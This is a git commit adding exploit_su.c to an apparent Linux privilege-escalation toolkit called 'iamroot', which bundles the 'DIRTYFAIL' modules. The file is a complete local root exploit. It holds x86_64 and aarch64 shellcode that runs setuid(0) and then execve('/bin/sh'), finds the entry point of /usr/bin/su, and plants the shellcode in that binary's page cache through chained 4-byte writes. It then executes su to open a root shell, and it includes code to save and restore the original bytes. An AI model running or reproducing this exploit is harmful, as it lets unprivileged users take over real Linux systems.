Phase 1: module interface + registry + top-level dispatcher

- core/module.h: struct iamroot_module + iamroot_result_t
- core/registry.{h,c}: flat-array module registry with find-by-name
- modules/copy_fail_family/iamroot_modules.{h,c}: bridge layer
  exposing 5 modules (copy_fail, copy_fail_gcm, dirty_frag_esp,
  dirty_frag_esp6, dirty_frag_rxrpc) wired to the absorbed DIRTYFAIL
  detect/exploit functions; df_result_t/iamroot_result_t share numeric
  values intentionally for zero-cost translation
- iamroot.c: top-level CLI dispatcher with --scan / --list / --exploit /
  --mitigate / --cleanup, JSON output, --i-know gate
- Restored modules/copy_fail_family/src/ structure (DIRTYFAIL Makefile
  expects it; the initial flat copy broke that contract)
- Top-level Makefile builds one binary; filters out DIRTYFAIL's
  original dirtyfail.c main so it doesn't conflict with iamroot.c

Verified end-to-end on kctf-mgr (Linux): clean compile, 5 modules
register, --scan --json output ingest-ready, exit codes propagate.
This commit is contained in:
2026-05-16 19:32:11 -04:00
parent cf30b249de
commit 52e8c99022
30 changed files with 673 additions and 18 deletions
+530
View File
@@ -0,0 +1,530 @@
/*
* DIRTYFAIL — exploit_su.c
*
* V4bel-style page-cache shellcode injection against /usr/bin/su.
* See exploit_su.h for the high-level rationale.
*/
#include "exploit_su.h"
#include "copyfail.h"
#include "common.h"
#ifdef __linux__
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#define SU_PATH "/usr/bin/su"
#define STATE_PATH "/var/tmp/.dirtyfail-su.state"
#define STATE_MAGIC "DFSU0001"
/* x86_64 shellcode: setuid(0); setgid(0); execve("/bin/sh", argv, NULL)
* with argv = ["/bin/sh", NULL]. The proper argv matters: NULL argv
* makes the kernel substitute argv[0]="" (printk: "launched '/bin/sh'
* with NULL argv: empty string added"), and bash/sh-as-init-script
* with empty argv[0] doesn't read commands from stdin reliably.
*
* Layout:
* 0x00 xor rdi, rdi ; mov eax, 105 ; syscall — setuid(0) [10]
* 0x0a xor rdi, rdi ; mov eax, 106 ; syscall — setgid(0) [10]
* 0x14 mov rbx, "/bin/sh\0" ; push rbx — pathname on stack [11]
* 0x1f mov r9, rsp — r9 = path ptr [3]
* 0x22 xor rax, rax ; push rax ; push r9 — argv = [path,NULL][6]
* 0x28 mov rsi, rsp ; mov rdi, r9 — argv, pathname [6]
* 0x2e xor rdx, rdx ; mov eax, 0x3b ; syscall — envp=NULL, execve [10]
*
* Total: 56 bytes = 14 chained 4-byte writes via cf_4byte_write. */
__attribute__((unused))
static const unsigned char shellcode_x86_64[56] = {
/* setuid(0) — 10 bytes */
0x48,0x31,0xff,
0xb8,0x69,0x00,0x00,0x00,
0x0f,0x05,
/* setgid(0) — 10 bytes */
0x48,0x31,0xff,
0xb8,0x6a,0x00,0x00,0x00,
0x0f,0x05,
/* mov rbx, "/bin/sh\0" ; push rbx — 11 bytes */
0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,
0x53,
/* mov r9, rsp — 3 bytes */
0x49,0x89,0xe1,
/* xor rax, rax ; push rax ; push r9 — 6 bytes */
0x48,0x31,0xc0,
0x50,
0x41,0x51,
/* mov rsi, rsp ; mov rdi, r9 — 6 bytes */
0x48,0x89,0xe6,
0x4c,0x89,0xcf,
/* xor rdx, rdx ; mov eax, 0x3b ; syscall — 10 bytes */
0x48,0x31,0xd2,
0xb8,0x3b,0x00,0x00,0x00,
0x0f,0x05,
};
/* aarch64 shellcode: same semantics as x86_64 above (setuid(0),
* setgid(0), execve("/bin/sh", ["/bin/sh", NULL], NULL)) encoded for
* the aarch64 syscall ABI (x8 = syscall number, x0..x5 = args,
* `svc #0` to invoke). 20 instructions × 4 bytes = 80 bytes.
*
* STATUS: UNTESTED on hardware. The bytes were derived by manually
* cross-referencing each instruction against the ARMv8-A reference
* manual; the matching assembly source ships in
* `tools/exploit_su_aarch64.S` so anyone with `aarch64-linux-gnu-as`
* can regenerate and verify. Runtime is gated behind the env var
* `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1` to prevent accidental use. */
__attribute__((unused))
static const unsigned char shellcode_aarch64[80] = {
/* setuid(0) — movz x0,#0 ; movz x8,#146 ; svc #0 */
0x00,0x00,0x80,0xd2,
0x48,0x12,0x80,0xd2,
0x01,0x00,0x00,0xd4,
/* setgid(0) — movz x0,#0 ; movz x8,#144 ; svc #0 */
0x00,0x00,0x80,0xd2,
0x08,0x12,0x80,0xd2,
0x01,0x00,0x00,0xd4,
/* "/bin/sh\0" -> x9 (4× movz/movk lsl) */
0xe9,0x45,0x8c,0xd2, /* movz x9, #0x622f */
0x29,0xcd,0xad,0xf2, /* movk x9, #0x6e69, lsl 16 */
0xe9,0x65,0xce,0xf2, /* movk x9, #0x732f, lsl 32 */
0x09,0x0d,0xe0,0xf2, /* movk x9, #0x0068, lsl 48 */
/* push string : sp -= 16 ; *sp = x9 */
0xe9,0x0f,0x1f,0xf8, /* str x9, [sp, #-16]! */
0xe9,0x03,0x00,0x91, /* mov x9, sp */
/* argv = [x9, NULL] on stack */
0xff,0x43,0x00,0xd1, /* sub sp, sp, #16 */
0xff,0x07,0x00,0xf9, /* str xzr, [sp, #8] */
0xe9,0x03,0x00,0xf9, /* str x9, [sp, #0] */
/* execve(x9, sp, NULL) — syscall 221 */
0xe0,0x03,0x09,0xaa, /* mov x0, x9 */
0xe1,0x03,0x00,0x91, /* mov x1, sp */
0xe2,0x03,0x1f,0xaa, /* mov x2, xzr */
0xa8,0x1b,0x80,0xd2, /* movz x8, #221 */
0x01,0x00,0x00,0xd4, /* svc #0 */
};
/* Build-time arch selection: pick the right shellcode at compile time
* based on the target architecture. SHELLCODE_LEN must be a multiple
* of 4 since cf_4byte_write plants 4 bytes at a time. The unused
* sibling shellcode array is suppressed with __attribute__((unused))
* up at its definition. */
#if defined(__x86_64__) || defined(__amd64__)
# define SHELLCODE_BYTES shellcode_x86_64
# define SHELLCODE_LEN ((int)sizeof(shellcode_x86_64))
# define SHELLCODE_ARCH "x86_64"
# define SHELLCODE_TESTED 1
# define SHELLCODE_PRESENT 1
#elif defined(__aarch64__)
# define SHELLCODE_BYTES shellcode_aarch64
# define SHELLCODE_LEN ((int)sizeof(shellcode_aarch64))
# define SHELLCODE_ARCH "aarch64"
# define SHELLCODE_TESTED 0
# define SHELLCODE_PRESENT 1
#else
# define SHELLCODE_BYTES shellcode_x86_64 /* placeholder, never used */
# define SHELLCODE_LEN 0
# define SHELLCODE_ARCH "unknown"
# define SHELLCODE_TESTED 0
# define SHELLCODE_PRESENT 0
#endif
/* Convenience name kept matching pre-existing usages. */
#define shellcode SHELLCODE_BYTES
/* State file: stash original entry-point bytes so we can revert. */
struct su_state {
char magic[8]; /* "DFSU0001" */
char target_path[256];
uint64_t file_offset;
uint64_t original_len; /* always SHELLCODE_LEN, but explicit for forward-compat */
unsigned char original[SHELLCODE_LEN];
};
/* ---------------------------------------------------------------- *
* ELF parsing — find the file offset of the entry point in /usr/bin/su.
* ---------------------------------------------------------------- */
static bool resolve_entry_offset(const char *path, off_t *out_offset)
{
int fd = open(path, O_RDONLY);
if (fd < 0) {
log_bad("open %s: %s", path, strerror(errno));
return false;
}
Elf64_Ehdr ehdr;
if (pread(fd, &ehdr, sizeof(ehdr), 0) != sizeof(ehdr)) {
log_bad("read ELF header: %s", strerror(errno));
close(fd); return false;
}
if (memcmp(ehdr.e_ident, ELFMAG, 4) != 0) {
log_bad("%s is not an ELF file", path);
close(fd); return false;
}
if (ehdr.e_ident[EI_CLASS] != ELFCLASS64) {
log_bad("%s is not 64-bit ELF (this exploit requires x86_64)", path);
close(fd); return false;
}
if (ehdr.e_machine != EM_X86_64) {
log_bad("%s is not x86_64 (machine=0x%x); shellcode is x86_64-only",
path, ehdr.e_machine);
close(fd); return false;
}
/* Walk program headers to find the LOAD segment containing e_entry. */
Elf64_Phdr phdr;
bool found = false;
for (int i = 0; i < ehdr.e_phnum; i++) {
off_t poff = ehdr.e_phoff + (off_t)i * ehdr.e_phentsize;
if (pread(fd, &phdr, sizeof(phdr), poff) != sizeof(phdr)) {
log_bad("read phdr[%d]: %s", i, strerror(errno));
close(fd); return false;
}
if (phdr.p_type != PT_LOAD) continue;
if (!(phdr.p_flags & PF_X)) continue; /* must be executable */
if (ehdr.e_entry < phdr.p_vaddr) continue;
if (ehdr.e_entry >= phdr.p_vaddr + phdr.p_memsz) continue;
*out_offset = phdr.p_offset + (ehdr.e_entry - phdr.p_vaddr);
found = true;
break;
}
close(fd);
if (!found) {
log_bad("could not locate executable LOAD segment containing e_entry "
"(0x%llx) in %s", (unsigned long long)ehdr.e_entry, path);
return false;
}
/* Sanity: ensure the 48-byte plant region fits inside the file. */
struct stat st;
if (stat(path, &st) < 0) { log_bad("stat: %s", strerror(errno)); return false; }
if ((uint64_t)*out_offset + SHELLCODE_LEN > (uint64_t)st.st_size) {
log_bad("entry offset 0x%llx + %d would overflow %s (size 0x%llx)",
(unsigned long long)*out_offset, SHELLCODE_LEN,
path, (unsigned long long)st.st_size);
return false;
}
return true;
}
/* ---------------------------------------------------------------- *
* Backup / revert
* ---------------------------------------------------------------- */
static bool save_original(const char *path, off_t off)
{
int fd = open(path, O_RDONLY);
if (fd < 0) { log_bad("open %s: %s", path, strerror(errno)); return false; }
struct su_state st = {0};
memcpy(st.magic, STATE_MAGIC, 8);
strncpy(st.target_path, path, sizeof(st.target_path) - 1);
st.file_offset = (uint64_t)off;
st.original_len = SHELLCODE_LEN;
if (pread(fd, st.original, SHELLCODE_LEN, off) != SHELLCODE_LEN) {
log_bad("pread original 48 bytes: %s", strerror(errno));
close(fd); return false;
}
close(fd);
int sfd = open(STATE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0600);
if (sfd < 0) { log_bad("open %s: %s", STATE_PATH, strerror(errno)); return false; }
if (write(sfd, &st, sizeof(st)) != sizeof(st)) {
log_bad("write state: %s", strerror(errno));
close(sfd); unlink(STATE_PATH); return false;
}
close(sfd);
log_ok("stashed original %d bytes from %s+0x%llx → %s",
SHELLCODE_LEN, path, (unsigned long long)off, STATE_PATH);
return true;
}
/* Read state, return false if missing or malformed. */
static bool load_state(struct su_state *out)
{
int sfd = open(STATE_PATH, O_RDONLY);
if (sfd < 0) {
log_bad("open %s: %s", STATE_PATH, strerror(errno));
return false;
}
if (read(sfd, out, sizeof(*out)) != sizeof(*out)) {
log_bad("read state: %s", strerror(errno));
close(sfd); return false;
}
close(sfd);
if (memcmp(out->magic, STATE_MAGIC, 8) != 0) {
log_bad("state file magic mismatch");
return false;
}
if (out->original_len != SHELLCODE_LEN) {
log_bad("state file original_len=%llu (expected %d)",
(unsigned long long)out->original_len, SHELLCODE_LEN);
return false;
}
return true;
}
/* ---------------------------------------------------------------- *
* Plant + verify
* ---------------------------------------------------------------- */
static bool plant_shellcode(const char *path, off_t base_off,
const unsigned char *bytes, size_t len)
{
if (len % 4 != 0) { log_bad("plant len %zu not multiple of 4", len); return false; }
log_step("planting %zu bytes of shellcode via %zu chained 4-byte writes",
len, len / 4);
for (size_t i = 0; i < len; i += 4) {
unsigned char chunk[4];
memcpy(chunk, bytes + i, 4);
if (!cf_4byte_write(path, base_off + (off_t)i, chunk)) {
log_bad("cf_4byte_write[%zu] failed at offset 0x%llx",
i / 4, (unsigned long long)(base_off + i));
return false;
}
/* Compact progress dot per chunk; no full-line spam. */
fputc('.', stdout); fflush(stdout);
}
fputc('\n', stdout);
return true;
}
static bool verify_plant(const char *path, off_t off,
const unsigned char *expected, size_t len)
{
int fd = open(path, O_RDONLY);
if (fd < 0) { log_bad("verify open: %s", strerror(errno)); return false; }
unsigned char got[SHELLCODE_LEN];
if (pread(fd, got, len, off) != (ssize_t)len) {
log_bad("verify pread: %s", strerror(errno));
close(fd); return false;
}
close(fd);
return memcmp(got, expected, len) == 0;
}
/* try_revert_su_pages: best-effort revert. We don't have CAP_SYS_ADMIN
* to drop_caches in init ns from an unprivileged process, but
* POSIX_FADV_DONTNEED on a freshly-opened fd typically evicts the
* affected pages on most kernels. */
static bool try_revert_su_pages(const char *path, off_t off,
const unsigned char *original, size_t len)
{
if (!plant_shellcode(path, off, original, len)) {
log_warn("revert plant failed — page cache may still be poisoned");
return false;
}
int fd = open(path, O_RDONLY);
if (fd >= 0) {
#ifdef POSIX_FADV_DONTNEED
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
#endif
close(fd);
}
/* Verify the revert landed correctly. */
if (!verify_plant(path, off, original, len)) {
log_warn("revert verification failed — bytes do not match original");
return false;
}
return true;
}
/* ---------------------------------------------------------------- *
* Public entry points
* ---------------------------------------------------------------- */
df_result_t exploit_su_shellcode(bool do_shell)
{
log_step("Copy Fail — /usr/bin/su page-cache shellcode injection");
const char *target = getenv("DIRTYFAIL_SU_PATH");
if (!target || !*target) target = SU_PATH;
/* Architecture preflight. We ship two shellcodes:
* x86_64 — tested end-to-end on Fedora 44 (real-root proven).
* aarch64 — manually encoded from the ARMv8-A reference,
* never executed on hardware. Gated behind an env
* var so an aarch64 user has to opt in explicitly.
* Anything else has no shellcode and aborts here. */
if (!SHELLCODE_PRESENT) {
log_bad("no shellcode for this architecture (built for %s); "
"DIRTYFAIL --exploit-su currently supports x86_64 and "
"aarch64 only.", SHELLCODE_ARCH);
return DF_PRECOND_FAIL;
}
if (!SHELLCODE_TESTED && !getenv("DIRTYFAIL_AARCH64_TRUST_UNTESTED")) {
log_bad("running on %s, where the shipped shellcode has NOT been "
"tested on hardware. Aborting to avoid bricking /usr/bin/su.",
SHELLCODE_ARCH);
log_hint("if you've reviewed tools/exploit_su_aarch64.S and want to "
"proceed at your own risk, set "
"DIRTYFAIL_AARCH64_TRUST_UNTESTED=1 in the environment.");
log_hint("recommended verification: assemble the .S file with "
"`aarch64-linux-gnu-as` and confirm the byte sequence "
"matches `shellcode_aarch64[]` in src/exploit_su.c.");
return DF_PRECOND_FAIL;
}
if (!SHELLCODE_TESTED) {
log_warn("DIRTYFAIL_AARCH64_TRUST_UNTESTED=1: proceeding with "
"untested aarch64 shellcode (%d bytes). If /usr/bin/su "
"breaks, run `dirtyfail --cleanup-su` (or reboot) to "
"evict the modified page from the cache.", SHELLCODE_LEN);
}
struct stat st;
if (stat(target, &st) < 0) {
log_bad("stat %s: %s", target, strerror(errno));
return DF_PRECOND_FAIL;
}
if (!(st.st_mode & S_ISUID) || st.st_uid != 0) {
log_bad("%s is not setuid root (mode=0%o uid=%u)",
target, st.st_mode, st.st_uid);
log_hint("the exploit relies on the setuid bit; without it, the "
"shellcode runs at our existing uid and gains nothing.");
return DF_PRECOND_FAIL;
}
off_t entry_off;
if (!resolve_entry_offset(target, &entry_off)) return DF_TEST_ERROR;
log_ok("/usr/bin/su entry point at file offset 0x%llx",
(unsigned long long)entry_off);
log_warn("about to overwrite %d bytes of %s in the page cache",
SHELLCODE_LEN, target);
log_warn("if this fails or the shellcode crashes, /usr/bin/su will be "
"broken system-wide until --cleanup-su or `drop_caches`");
/* CRITICAL: disable libc stdin buffering before the typed_confirm
* read. Otherwise fgets() pulls extra bytes from the pipe into libc's
* buffer, which is lost when execve() replaces our process — the
* exec'd /bin/sh then sees empty stdin and exits without running
* any commands the user piped in. With _IONBF, fgets does 1-byte
* reads and leaves the kernel pipe intact. */
setvbuf(stdin, NULL, _IONBF, 0);
if (!typed_confirm("DIRTYFAIL")) {
log_bad("confirmation declined");
return DF_OK;
}
if (!save_original(target, entry_off)) return DF_TEST_ERROR;
if (!plant_shellcode(target, entry_off, shellcode, SHELLCODE_LEN)) {
log_warn("plant failed mid-stream — attempting revert");
struct su_state st_in;
if (load_state(&st_in) &&
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
unlink(STATE_PATH);
}
return DF_EXPLOIT_FAIL;
}
if (!verify_plant(target, entry_off, shellcode, SHELLCODE_LEN)) {
log_bad("verify: page cache does not match planted shellcode "
"(kernel likely patched, or AF_ALG/algif_aead blocked)");
struct su_state st_in;
if (load_state(&st_in) &&
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
unlink(STATE_PATH);
}
return DF_EXPLOIT_FAIL;
}
log_ok("page cache of %s now contains shellcode at entry point", target);
if (!do_shell) {
log_step("--no-shell: reverting via DONTNEED+rewrite");
struct su_state st_in;
if (load_state(&st_in) &&
try_revert_su_pages(target, entry_off, st_in.original, SHELLCODE_LEN)) {
log_ok("page cache reverted successfully");
unlink(STATE_PATH);
} else {
log_warn("revert may have failed — run `sudo dirtyfail --cleanup-su` "
"or reboot before using su again");
}
return DF_EXPLOIT_OK;
}
log_ok("invoking %s — kernel will exec setuid-root, jump to our shellcode, "
"and drop a /bin/sh root shell", target);
log_hint("when you exit the shell, run `sudo dirtyfail --cleanup-su` to "
"restore /usr/bin/su (or reboot — page cache is RAM-only)");
execl(target, "su", (char *)NULL);
log_bad("execl: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
/* Describe state file if present, for `--list-state`. Returns true if
* an exploit-su state file was found and described, false if absent.
* Silent when file is missing (the normal case). */
bool exploit_su_list_state(void)
{
struct stat ignored;
if (stat(STATE_PATH, &ignored) < 0) return false; /* clean state */
struct su_state st_in;
if (!load_state(&st_in)) return false;
log_warn("/usr/bin/su shellcode planted — state file %s", STATE_PATH);
log_hint(" target: %s, entry-point file offset: 0x%llx",
st_in.target_path, (unsigned long long)st_in.file_offset);
log_hint(" original %llu bytes stashed.",
(unsigned long long)st_in.original_len);
log_hint(" the page cache currently has x86_64 setuid+execve(/bin/sh)");
log_hint(" shellcode in place of the above. Revert with `--cleanup-su`.");
return true;
}
df_result_t cleanup_su_shellcode(void)
{
log_step("--cleanup-su: restore /usr/bin/su entry-point bytes from %s",
STATE_PATH);
struct su_state st_in;
if (!load_state(&st_in)) return DF_TEST_ERROR;
log_hint("target: %s, file_offset: 0x%llx", st_in.target_path,
(unsigned long long)st_in.file_offset);
if (!try_revert_su_pages(st_in.target_path, (off_t)st_in.file_offset,
st_in.original, SHELLCODE_LEN)) {
log_bad("revert failed — manual fix needed: "
"`echo 3 | sudo tee /proc/sys/vm/drop_caches`");
return DF_TEST_ERROR;
}
if (unlink(STATE_PATH) == 0) {
log_ok("page cache restored and state file removed");
} else {
log_warn("page cache restored but %s could not be removed: %s",
STATE_PATH, strerror(errno));
}
return DF_OK;
}
#else /* !__linux__ */
df_result_t exploit_su_shellcode(bool do_shell)
{
(void)do_shell;
return DF_TEST_ERROR;
}
df_result_t cleanup_su_shellcode(void)
{
return DF_TEST_ERROR;
}
bool exploit_su_list_state(void)
{
return false;
}
#endif